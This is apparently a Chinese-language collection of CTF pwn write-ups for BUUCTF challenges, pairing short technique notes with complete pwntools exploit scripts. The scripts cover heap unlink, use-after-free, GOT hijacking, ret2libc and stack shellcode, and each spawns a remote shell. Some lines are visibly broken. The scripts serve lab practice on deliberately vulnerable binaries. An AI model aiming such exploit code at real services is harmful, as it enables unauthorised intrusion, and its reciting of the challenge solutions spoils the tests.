题目:
hitcon2014_stkof:
参考师傅:(4条消息) 好好说话之unlink_hollk’s blog-CSDN博客_好好说话之unlink
利用方法:堆溢出->伪造chunk->unlink->劫持got->泄露libc地址->开shell
具体步骤:(也不具体,不是很懂,具体参考上面那位师傅 orz )
1.申请4个堆块
0x20(任意大小,由于本题没有setbuf函数,这个chunk被夹在两个为缓冲区申请的块中,不好处理)
0x30(至少为0x30,为能绕过检查,0x8(prev_size) + 0x8(size) + 0x8(fd) + 0x8(bk) + 0x8(next_prev) + 0x8(next_size) = 0x30,这里fd,bk构造最为精巧)
0x80(至少为0x80,能分配到unsortbin)
0x30(任意大小,防止与topchunk合并)
2.堆溢出伪造一个chunk,让系统以为它是空闲的chunk,然后free触发unlink,最后就是在bss段里存chunk指针的一个指针指向这个bss段,这题里改chunk2指针的地址指向,golobal[0]=free_got ,golobal[1]=puts_got,修改chunk1,就是改golobal[0]指向的free_got里的内容为puts_plt,调用free就会调用puts,free(2)即puts(puts_got)就泄露了libc地址
3.得出system地址后,重复上述步骤,改free_got为system地址,并填入/bin/sh,开shell
chunk状态检查:
检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小
检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0
检查3:检查前后被释放chunk的fd和bk
以上三点就是检查chunk是否空闲的三大标准
from pwn import *
from LibcSearcher import *
local_file = './stkof'
local_libc = './libc-2.23.so'
remote_libc = './libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node4.buuoj.cn',25134)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
def add(size):
r.sendline("1")
r.sendline(str(size))
r.recvuntil("OK\n")
def free(idx):
r.sendline("3")
r.sendline(str(idx))
def edit(idx,strings):
r.sendline("2")
r.sendline(str(idx))
r.sendline(str(len(strings)))
r.send(strings)
r.recvuntil("OK\n")
#------------------------------------------------------
target = 0x602140
fd = target-0x8
bk = target
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
free_got = elf.got['free']
add(0x20) #1
add(0x30) #2
add(0x80) #3
add(0x30) #4
pd1=p64(0)+p64(0x30)+p64(fd)+p64(bk)+'a'*0x10+p64(0x30)+p64(0x90)
edit(2,pd1)
free(3)
pd2='a'*0x10+p64(free_got)+p64(puts_got)
edit(2,pd2)
edit(1,p64(puts_plt))
free(2)
#debug()
putgot=uu64(ru('\x7f')[-6:])
print hex(putgot)
#--------------------------------------------------------
obj=LibcSearcher('puts',putgot)
base=putgot-obj.dump('puts')
#print hex(base)
system=base+obj.dump('system')
#binsh=base+obj.dump("str_bin_sh")
edit(1,p64(system))
edit(4,'/bin/sh\x00')
free(4)
r.interactive()
pwnable_hacknote:
参考师傅:[BUUCTF]PWN——pwnable_hacknote - Angel-Yan - 博客园 (cnblogs.com)
这题堆的结构很特别
利用方法:先释放两个chunk,再申请0x8大小,会申请那两个结构0x10的note块,能改后一个note块的内容,改为got表,由于本题的uaf,指针未置0,还能继续调用原本的chunk,就泄露了地址,类似步骤改note块里put函数为system,后一个填/bin/sh,“但是这样失败了但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以成功将content位置覆盖成 ‘;sh\0’或||sh,同样的然后show(chunk1)就能执行system(‘sh’)得到shell了”
from pwn import *
from LibcSearcher import *
local_file = './hacknote'
local_libc = './libc-2.23.so'
remote_libc = './libc-2.23.so'
#remote_libc = '/root/glibc-all-in-onebsubc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node4.buuoj.cn',27024 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
#---------------------------------------------
def add(size,content):
ru('Your choice :')
sl('1')
ru('Note size :')
sl(str(size))
ru('Content :')
sl(content)
def free(index):
ru('Your choice :')
sl('2')
ru('Index :')
sl(str(index))
def show(index):
ru('Your choice :')
sl('3')
ru('Index :')
sl(str(index))
#----------------------------------------------
puts_got=elf.got['puts']
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
free(1)
free(0)
add(8,p32(0x804862b)+p32(puts_got))#2
show(1)
puts_addr = u32(rc(4))
print hex(puts_addr)
base=puts_addr-libc.sym['puts']
system=base+libc.sym['system']
print hex(base)
free(2)
add(8,p32(system)+';sh\0')
#debug()
show(1)
r.interactive()
ciscn_2019_s_9:
这题没开nx,直接栈溢出写shellcode
但溢出只有50-0x20-4=10
所以栈中先填shellcode,返回地址填入本题中有的jmp_esp,然后再esp-40到call esp命令处,执行shellcode
from pwn import*
#r=process('./ciscn_s_9')
r=remote('node4.buuoj.cn',26224)
context.arch='i386'
sc='\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
print len(sc)
jmp_esp=0x08048554
call=asm('sub esp,40;call esp')
print len(call)
r.sendline(sc.ljust(0x24,'\x00')+p32(jmp_esp)+call)
r.interactive()
picoctf_2018_shellcode:
这里让我们输入的地方直接是ret的地址,且没开nx,直接用shellcode
from pwn import*
r=remote('node4.buuoj.cn',29624)
context.arch='i386'
sc=asm(shellcraft.sh())
r.sendline(sc)
r.interactive()
npuctf_2020_easyheap:
from pwn import *
from LibcSearcher import *
local_file = './npuctf_2020_easyheap'
local_libc = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node4.buuoj.cn',25288 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
#------------------------------------------------
def add(size,content):
ru('Your choice :')
sl('1')
ru('Size of Heap(0x10 or 0x20 only) : ')
sl(str(size))
ru('Content:')
sl(content)
def edit(index,content):
ru('Your choice :')
sl('2')
ru('Index :')
sl(str(index))
ru('Content:')
sl(content)
def show(index):
ru('Your choice :')
sl('3')
ru('Index :')
sl(str(index))
def free(index):
ru('Your choice :')
sl('4')
ru('Index :')
sl(str(index))
#-----------------------------------------------
add(0x18,'a'*0x18)#0
add(0x18,'a'*0x18)#1
edit(0,'/bin/sh\x00'+p64(0)*2+p8(0x41))
free(1)
add(0x38,'p'*0x10+p64(0)+p64(0x21)+p64(0x8)+p64(elf.got['free']))
show(1)
#-----------------------------------------------
addr=uu64(ru('\x7f')[-6:])
#obj=LibcSearcher('free',addr)
base=addr-libc.sym['free']
system=base+libc.sym['system']
print hex(base)
#----------------------------------------------
edit(1,p64(system))
free(0)
#debug()
r.interactive()
cmcc_pwnme2:
这题原本add_home,add_flag为的是在bss段的string里写入/home/flag然后利用exec_string读取flag
但在buu里路径flag就可以读取
不能用add_flag去填string会填入/flag(不同于flag,我猜)
from pwn import*
r=remote('node4.buuoj.cn',27836)
puts_plt=0x8048440
exec_string=0x80485cb
string=0x804a060
r.sendline('a'*0x6c+'b'*4+p32(puts_plt)+p32(exec_string)+p32(string))
r.sendline('flag')
r.interactive()
x_ctf_b0verfl0w:
又是遇到这种题目,还是用jmp_esp跳到栈上执行shellcode的方法
from pwn import*
r=remote('node4.buuoj.cn',25252)
#r=process('./b0verfl0w')
context.arch='i386'
pd='\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
pd=pd.ljust(0x24,'a')
jmp_esp=0x08048504
pd+=p32(jmp_esp)+asm('sub esp,0x28;call esp')
r.sendline(pd)
r.interactive()
picoctf_2018_leak_me:
可以学到了,参考这位师傅picoctf_2018_leak_me_白日梦-想家的博客-CSDN博客
这道题一开始F5不能显示伪代码。会显示又有个地方有问题,快捷键g输入有问题的地方的地址,然后点进去先反编译有问题的这个函数,然后再出来反编译整个函数就好了
puts是用\x00分隔的,密码与name相连,相差0x100距离,我们直接把\x00填满,puts就能带出password了
from pwn import*
r=remote('node4.buuoj.cn',27410)
r.sendline('qyq')
r.sendline('a_reAllY_s3cuRe_p4s$word_f85406')
r.interactive()
suctf_2018_basic pwn:
from pwn import*
r=remote('node4.buuoj.cn',27295)
r.sendline('a'*0x110+'b'*8+p64(0x401157))
r.interactive()
cmcc_pwnme1:
这题没找到jmp rsp 用ret2libc做
from pwn import*
r=remote('node4.buuoj.cn',26781)
libc = ELF('./libc-2.23.so')
elf = ELF('./pwnme1')r.sendline('5')
r.sendlineafter('Please input the name of fruit:','a'*0xa4+'bbbb'+p32(elf.sym['puts'])+p32(0x8048624)+p32(elf.got['puts']))
puts_got=u32(r.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
print hex(puts_got)
libc_base=puts_gotlibc.sym['puts']
og=libc_base+0x3a812
r.sendlineafter('Please input the name of fruit:','a'*0xa4+'bbbb'+p32(og))
r.interactive()